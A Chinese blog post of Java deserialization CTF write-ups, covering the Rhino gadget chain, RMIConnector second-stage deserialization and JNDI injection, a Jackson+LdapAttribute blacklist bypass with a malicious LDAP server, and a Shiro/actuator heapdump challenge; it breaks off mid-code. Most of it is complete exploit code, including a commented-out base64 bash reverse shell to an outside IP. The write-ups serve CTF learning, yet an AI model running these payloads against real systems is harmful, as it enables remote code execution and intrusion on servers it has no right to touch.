记几道JAVA题

21 分钟

前言

Asal1n老登丢过来的题目(题目名很多都不记得了),跟我说看一看,这一看,就是一天。

前置知识

rhino1链

关于rhino1链的分析如下:

NativeError类中,有toString()方法能触发js_toString()进而触发getString(),此时传入的参数是NativeError类和name字符串

image-20240102103700199

跟进ScriptableObject#getProperty中,将obj赋值给了start后,调用NativeError#get()方法,传入name字符串和NativeError对象。

image-20240102103827173

NativeError类没有get(),它继承于IdScriptableObject类,所以会调用IdScriptableObject#get(),这个get最终又会调用父类的get(),即ScriptableObject#get()

image-20240102104057181

ScriptableObject#get()会触发ScriptableObject#getImpl(),这个方法先调用getSlot()获取一个Slot对象,如果Slot为空或者不属于GetterSlot则直接返回,否则获取Slot对象中的getter实例。如果获取到的是MemberBox类,则会进入条件判断中,最终进行反射调用。

  • 如果MemberBoxdelegateTo是空,则反射调用的对象是startNativeError,参数是空
  • 如果不为空,则反射调用的是delegateTo对象,参数是start对象

image-20240102104223010

如果这里的MemberBox#delegateTo可控,那么就可以被我们利用,但是delegateTotransient修饰,是一个抽象属性,实例化MemberBox的时候默认为空,所以nativeGetter#invoke默认反射调用nativeError对象,因此无法被控制,作者这里走的其实是else里面的内容,调用Function对象中的call()

image-20240102105539610

到这里作者找到的是NativeJavaMethod类,继承于BaseFunction,而BaseFunction继承了Function类,NativeJavaMethod#call()中先调用findFunction()找到返回的索引,这里存储的其实是一个MemberBox数组,找到赋值给一个MemberBox实例

image-20240102111415934

方法往下走也会进行反射调用找到的MemberBox,如果可以控制javaObject的值,就可以触发Rce,因为MemerBox类中的invoke方法是直接触发了method.invoke()。在else方法里面,如果传入的 Scriptable对象也就是传入的NativeError,进入一个无限的for循环,因为NativeError不属于Wrapper类,所以找不到javaObject,最终会调用getPrototype()重新判断,返回prototypeObject对象。

image-20240102111642440

image-20240102112419137

作者最终找到的是NativeJavaObject类,继承了 Scriptable, Wrapper, Serializable三个类,满足了进入unwrap()的条件,并且这个unwrap()方法直接返回javaObjectjavaObject也由transient修饰,但是在NativeJavaObject类中自定义了read/writeObject()能够保存javaObject

image-20240102112546922

至此整条链就形成了,通过NativeError#toString() 触发NativeJavaMethod#call() ,通过NativeJavaObject#unwrap()返回TemplatesImpl对象控制javaObject最终利用MemberBox#invoke()反射执行恶意类。

Gadgets如下:

BadAttributeValueExpException.readObject()
    NativeError.toString()
        ScriptableObject.getProperty()
            ScriptableObject.getImpl()
                NativeJavaMethod.call()
                    NativeJavaObject.unwrap()
                        MemberBox.invoke()
                            TemplatesImpl.newTransformer()

简单来说,rhino链最终触发的地方其实是method.invoke(),也就是可以触发任何的方法,但是这里两个命令执行类Runtime和ProcessBuilder都被过滤掉了,于是开始考虑二次反序列化,因为javax.management.remote.rmi.rmiconnector事实上是没有被过滤的,

RMIConnector二次反序列化

二次反序列化顾名思义就是要找到一个方法里面能够接受对象触发readObject,同时这个方法也可以通过反序列化链子触发。此次的二次反序列化触发点就在findRMIServerJRMP中。这个方法接受一个base64字符串,将传入的字符串转换成字节数组并读取,随后通过传入的env环境变量解析客户端的类加载器,如果获取到的类加载器为空,则直接将字节流转换成对象流,最终通过readObject触发反序列化。

image-20240304092110445

在上面findRMIServer中,接受了一个JMXServiceURL类的参数和一个Map,先调用isIiopURL判断directoryURL的协议类型是RMI还是IIOP,这里的判断方法是获取protocol属性进行判断,protocol在构造JMXServiceURL的时候取出service:jmx:后面部分赋值给protocol。如果它是iiop协议,会把java.naming.corba.orb字符和类放入到map中。最终从directoryURL中获取urlPath的内容,取出;的索引位置,如果不存在; ,把end赋值为整个长度,判断path是以/jndi/ /stub/等起始进入不同的方法并把/jndi/ /stub/对应的字符串去掉。

此处要触发二次反序列化,需要令findRMIServer进入findRMIServerJRMP,所以要传入的urlPath/stub/开头并且是rmi协议

image-20240304092940654

image-20240304094442912

RMIConnect#connect方法中和RMIConnect.RMIClientCommunicatorAdmin#doStart找到调用了findRMIServer的方法,这里肯定是使用connect方便,这个方法根据terminatedconnected判断是否以关闭交互或已连接抛出异常,最终来到rmiServer的判断,这里rmiServer也是RMIConnect实例化的时候传参判断是,可以实例化RMIServer或jmxServiceURL,当RMIServer为空,会调用findRMIServerw,这里的stub可以理解为RMI协议进行通信的中转器。

image-20240304095444440

至于后面如何调用的connect方法,在本类中并没有找到能直接调用connect方法的东西,所以这里调用connect方法可以通过method.invoke的方式来触发,例如CC链的触发点。

那么为什么不直接就通过method.invoke触发findRMIServer,因为connect更简单,它可以接受空的参数就触发后面的链子并且是public修饰的,而直接触发findRMIServer需要传参,而且它是私有方法

Gadgets:

method.invoke()->
    RMIConnect#connect()->
        RMIConnect#findRMIServer()->
            RMIConnect#findRMIServerJRMP()->
                readObject()

payload(以CC1链为例):

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.poi.ss.formula.functions.T;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RmiConnect {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","aiwin");
        Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object result= constructor.newInstance(Target.class,transformedMap);
        String s= serialize2Base64(result);
        RMIUnserialize(s);
    }


    public static void RMIUnserialize(String base64) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
        RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
        setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(rmiConnector),
                new InvokerTransformer("connect", null, null)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","aiwin");
        Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object result= constructor.newInstance(Target.class,transformedMap);
        byte[] serialize = serialize(result);
        unserialize(serialize);
    }


    public static byte[]  serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();

    }
    public static String  serialize2Base64(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return s;
    }
    public static void setFieldValue(Object object,String fieldName,String value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
        objectInputStream.readObject();

    }

}

RMIConnect JNDI注入

同样在findRMIServerJNDI中它能够通过接受jndiURL的形式来直接调用lookup进而从远程服务器中调用ClassLoader完成类加载,所以这里也是可以进行JNDI注入的。

image-20240304105306790

只需要把传入的directoryURL/jndi/开头即可

image-20240304105905291

payload(以CC6为例):

package com.example.rmiconnect;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class RmiConnect_jndi {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String path="rmi://127.0.0.1:8085/OLtKoxXc";
        JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
        RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
        setFieldValue(jmxServiceURL,"urlPath","/jndi/"+path);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(rmiConnector),
                new InvokerTransformer("connect", null, null)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> Lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); //先设置为其它Transformer,使其put()方法不触发
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        Lazymap.remove("aaa"); //将key去掉,使它能进入transform()方法
        setFieldValue(Lazymap,"factory",chainedTransformer);
        unserialize(serialize(map2));


    }
    public static void setFieldValue(Object object,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
        objectInputStream.readObject();

    }

}

[未知]jackson+ldapattribute+ldap绕过

题目的源代码很简单,就是单纯给了一个反序列化的接口,然后联动了spring security

image-20240401163032265

看一下spring security做了什么,

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo.config;

import java.util.UUID;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.FormLoginConfigurer;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer.AuthorizedUrl;
import org.springframework.security.crypto.factory.PasswordEncoderFactories;
import org.springframework.security.crypto.password.PasswordEncoder;

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    public SecurityConfig() {
    }

    @Bean
    public PasswordEncoder passwordEncoder() {
        return PasswordEncoderFactories.createDelegatingPasswordEncoder();
    }

    protected void configure(HttpSecurity http) throws Exception {
        ((HttpSecurity)((FormLoginConfigurer)((HttpSecurity)((AuthorizedUrl)((AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/admin/*"})).hasRole("ADMIN").anyRequest()).permitAll().and()).formLogin().defaultSuccessUrl("/admin/user/hello")).and()).logout().logoutSuccessUrl("/login");
    }

    protected void configure(AuthenticationManagerBuilder auth) throws Exception {
        String passwd = UUID.randomUUID().toString();
        String adminPassword = this.passwordEncoder().encode(passwd);
        auth.inMemoryAuthentication().withUser("admin").password(adminPassword).roles(new String[]{"ADMIN"});
        System.out.println("admin password: " + passwd);
    }
}
这里通过配置antMatchers的形式过滤了/admin/*的路由,要注意的是这里并不是**,也就意味着这里只能够匹配/admin/a,但是触发反序列化的路由中的/admin/user/readObj并没有达到过滤的效果,所以无需考虑这里的限制。

再看一下自定义的反序列化类:

package com.example.demo.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class MyObjectInputStream extends ObjectInputStream {
    private static final String[] blackList = new String[]{"AbstractTranslet", "Templates", "TemplatesImpl", "javax.management", "swing", "awt", "fastjson"};

    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected MyObjectInputStream() throws IOException, SecurityException {
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String[] var2 = blackList;
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String black = var2[var4];
            if (desc.getName().contains(black)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
            }
        }

        return super.resolveClass(desc);
    }
}
过滤了AbstractTranslet、Templates、javax.management等等,后面的那些没明白过滤的意义在哪里。

再看一下依赖,首先映入眼帘的就是jackson2.13.5、spring-security两个类,整个思路就十分清晰了,可以通过jackson+signedObject打原生的jackson二次反序列化,或者jacksonLDAPAttribute链子触发LDAP进而打入Jackson原生反序列化的Templates链子:

image-20240401164217246

这里采取第二种方式,第一种也是可行的。

package com.example.test;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;

import javax.naming.CompositeName;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class Poc {
    public static void main(String[] args) throws Exception {
        CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        String ldapCtxUrl = "ldap://127.0.0.1:5555";
        Class<?> ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor<?> ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                String.class);
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                "name");
        setFieldValue(ldapAttribute,"baseCtxURL",ldapCtxUrl);
        setFieldValue(ldapAttribute,"rdn", new CompositeName("a//b"));
        POJONode pojoNode = new POJONode("a");
        XString xString=new XString("a");
        HashMap map1=new HashMap();
        HashMap map2=new HashMap();
        map1.put("AaAaAa",xString);
        map1.put("BBAaBB",pojoNode);
        map2.put("BBAaBB",xString);
        map2.put("AaAaAa",pojoNode);
        Hashtable<HashMap, String> hashtable=new Hashtable<>();
        hashtable.put(map1,"1");
        hashtable.put(map2,"1");
        setFieldValue(pojoNode,"_value",ldapAttribute);
        String result=serialize(hashtable);
        StringToFile(result);

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void StringToFile(String data) throws IOException {
        try (FileWriter writer = new FileWriter("test.txt")) {
            writer.write(data);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static String serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize(String data) throws IOException, ClassNotFoundException {
        byte[] result=Base64.getDecoder().decode(data);
        ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(result);
        ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }

}

原本的jackson原生反序列化链子是通过BadAttribute类来触发toString 的,但是这里javax.management被禁用了,因此可以找其它的方式来触发toString,这里找的其实是Xstring#equals()方法。

HashTable#readObject触发的时候会进入到reconsititutionPut方法中,这个方法会计算HashCode,取余等操作。当控制了keyXString,就是进入到XString#equals方法中。

image-20240401164944013

Xstring#equals中有触发toString的方法,只需要领传入的参数是POJONode即可。这里需要注意的是序列化的时候也会走入到这个方法当中,因此POJONode需要先赋为其它的值,最后再通过反射改回去。

image-20240401165156446

所以整条链子就是:

HashTable#readObject->HashTable#reconstitutionPut->Xstring#equals->POJONode#toString->LDAPAttribute#getAttributeDefinition->com.sun.jndi.ldap#c_lookup->NamingManager#getObjectFactoryFromReference#->loadClass().newinstance()->打原生的Jackson链。

具体关于LDAPAttribute链子的分析,可以看我以前的文章:LdapAttribute链

原生的Jackson+templates链:

package com.example.test;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class Evil {
    public  static void main(String[] args) throws Exception {
        CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        setFieldValue(exp,"val",pojoNode);
        String result=serializes(exp);
        StringToFile(result);

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
       // String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\");";
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }ic static String serializes(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void StringToFile(String data) throws IOException {
        try (FileWriter writer = new FileWriter("output.txt")) {
            writer.write(data);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

因为是触发的LDAP来进行远程的类加载实例化,因此在高版本的JAVA中,肯定是关闭了codebases的,这里肯定是需要通过设置javaSerializedData来启动LDAP服务来进行序列化绕过高版本的限制,payload如下:

···

package com.example.test;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;


import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import javax.security.auth.Subject;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.UnknownHostException;


public class JndiBypass {
    private static final String LDAP_BASE = "dc=example,dc=com";
    private static String base64;
    public static void main ( String[] tmp_args ) throws LDAPException, UnknownHostException, MalformedURLException {
        String url="http://127.0.0.1/#evil";
        int port=5555;
        base64="放入上方生成的payload";
        String[] args=new String[]{url};
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen",
                InetAddress.getByName("0.0.0.0"),
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private final URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData", Base64.decode(base64));

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

当我信心满满的打进入,发现出现了403,为什么是403,被spring-security限制之后应该出现的是401未授权,这里卡了是大半天,属实是没搞懂。

image-20240401170748709

尝试询问下GPT先生,会发现它告诉我的是已经通过了角色的认证,但是缺少了某些权限,也就是我请求提交的时候缺少了某些东西。

image-20240401171008023

当重新切回去登录页面,观察页面有什么不同之处的时候,会发现这里多了一个csrf值,原因是Spring Security默认会开启csrf验证,可以通过http.csrf().disable()关闭掉这个验证,如果没关闭掉,那么请求的时候就得带上csrf参数。

image-20240401171102822

最终也是能够成功执行shell命令,结果如下:

image-20240401170310167

[未知]actuator+shiro+rhino+Rmi二次反序列化

一个登录框,带有rememberMe功能,很明显的shiro框架。

image-20240401172404618

通过比较常用的shiro工具进行爆破,发现工具显示能够爆破出密钥,但是得不到利用链子,但是重新进行密钥爆破会发现密钥又不一样,感觉更像是工具的问题,其实并没有得到密钥。

image-20240401172907035

扫描目录其实会发现这里存在actuator,关于actuator,简单来说就是开发人员的疏忽,类似于debug的东西没有做任何的限制,具体的作用为如下:

Spring Boot Actuator 模块提供的一组监控和管理端点(endpoints),用于帮助监视和管理应用程序的运行状态。这些端点可以提供有关应用程序运行时信息的访问,例如健康状况、指标、环境属性、配置信息等。这些端点使得开发人员和运维人员可以更容易地监视和管理应用程序,从而更好地理解应用程序的运行状态并做出相应的调整

既然有了springboot的信息泄露,可以通过heapdumpJVM栈的内存下载下来,查看内存中是否有敏感的信息,访问actuator/heapdump即可。

image-20240401173404881

heapdump中找到了shiro key,那么剩下就是反序列化链子的问题,因为在/actuator/env中是可以看到它存在的依赖包,因此可以在里面找。

image-20240401174103197

这里其实也用了很多很多链子,发现都没成功,直至我尝试进行登录爆破,发现存在弱口令admin admim888,上面显示了黑名单过滤的东西,过滤的还是比较多的,包括SignedObject jackson cb链 templatesImpl等等。

image-20240401174329029

仔细看依赖包,发现会存在rhino并且是1.7的版本,这不正是yoserial链中的版本吗,也就是说可以打rhino链,那么问题就是rhino该怎么打呢,因为这里没有过滤javax.management.remote.rmi.RMIConnector,所以可以考虑RMIConnector二次反序列化。

image-20240401174624033

整个payload如下:

package com.example.test;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.mozilla.javascript.*;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;


public class Rhino {
    public static void main(String[] args) throws Exception {
        CtClass ctClass=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new
                BadAttributeValueExpException(null);
        setFieldValue(exp,"val",pojoNode);
        String result=serialize2Base64(exp);
        attack(result);
    }

    public static void attack(String base64) throws Exception {
        JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
        RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
        setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);

        Class<?> NativeErrorClass=Class.forName("org.mozilla.javascript.NativeError");
        Constructor<?> constructor=NativeErrorClass.getDeclaredConstructor();
        constructor.setAccessible(true);
        Scriptable NativeError= (Scriptable) constructor.newInstance();
        //初始化javaObject,使unwrap()返回TemplatesImpl对象,同时完整初始化为了满足initMembers()不报错
        Context context  = Context.enter();
        NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); //设置一个JavaScript环境
        NativeJavaObject nativeJavaObject=new NativeJavaObject(scriptableObject,rmiConnector,RMIConnector.class);

        //使getPrototype()返回的是NativeJavaObject对象
        Field prototypeObject= ScriptableObject.class.getDeclaredField("prototypeObject");
        prototypeObject.setAccessible(true);
        prototypeObject.set(NativeError,nativeJavaObject);

        //赋值NativeJavaMethod中的methods数组,使Memberbox中的method是newTransformer()
        Method templatesMethod=RMIConnector.class.getDeclaredMethod("connect");
        templatesMethod.setAccessible(true);
        NativeJavaMethod nativeJavaMethod=new NativeJavaMethod(templatesMethod,"test");


        //实例化一个Slot对象,并放入NativeError中,Slot slot = getSlot(name, index, SLOT_QUERY);
        Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
        getSlot.setAccessible(true);
        Object slotObject = getSlot.invoke(NativeError, "name", 0, 4);

        //使getter获取到的getterObj是nativeJavaMethod,触发Function中的call()
        Class<?> GetterObj=Class.forName("org.mozilla.javascript.ScriptableObject$GetterSlot");
        Field getter=GetterObj.getDeclaredField("getter");
        getter.setAccessible(true);
        getter.set(slotObject,nativeJavaMethod);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
        Field  valField  = badAttributeValueExpException.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException, NativeError);
        StringToFile(serialize2Base64(badAttributeValueExpException));


    }
    public static String serialize2Base64(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        outputStream.close();
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }
    public static void StringToFile(String data) throws IOException {
        try (FileWriter writer = new FileWriter("output.txt")) {
            writer.write(data);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

整个链子就是:

BadAttributeValueExpException.readObject()->NativeError.toString()->ScriptableObject.getProperty()->ScriptableObject.getImpl()->NativeJavaMethod.call()->NativeJavaObject.unwrap()->MemberBox.invoke()->RMIConnector#connector()->RMIConnector#findRMIServerJRMP()->Jackson原生链。

成功执行命令:

image-20240401180733307

[Hgame week4]i-short-you1

题目代码:

image-20240304142400753

题目代码很短,只限制了长度为220,也就是说这样必定不可能是常规接受参数进行反序列化的打法,可能的就是RMI、LDAP、JRMP去请求payload从而实现命令执行的打法

image-20240304142532358

看一眼依赖,发现就只有springboot的正常依赖,但是这里jackson的版本是2.13,这个版本号依旧是存在jackson反序列化漏洞的。

因为题目环境的jdk版本是202,在191之后,也就是说RMI、ldap这一类的codebase已经被ban掉了,唯一可用的就只剩下JRMP,所以此处是JRMP打JACKSON1链子的打法

package org.vidar.controller;

import sun.rmi.server.UnicastRef;
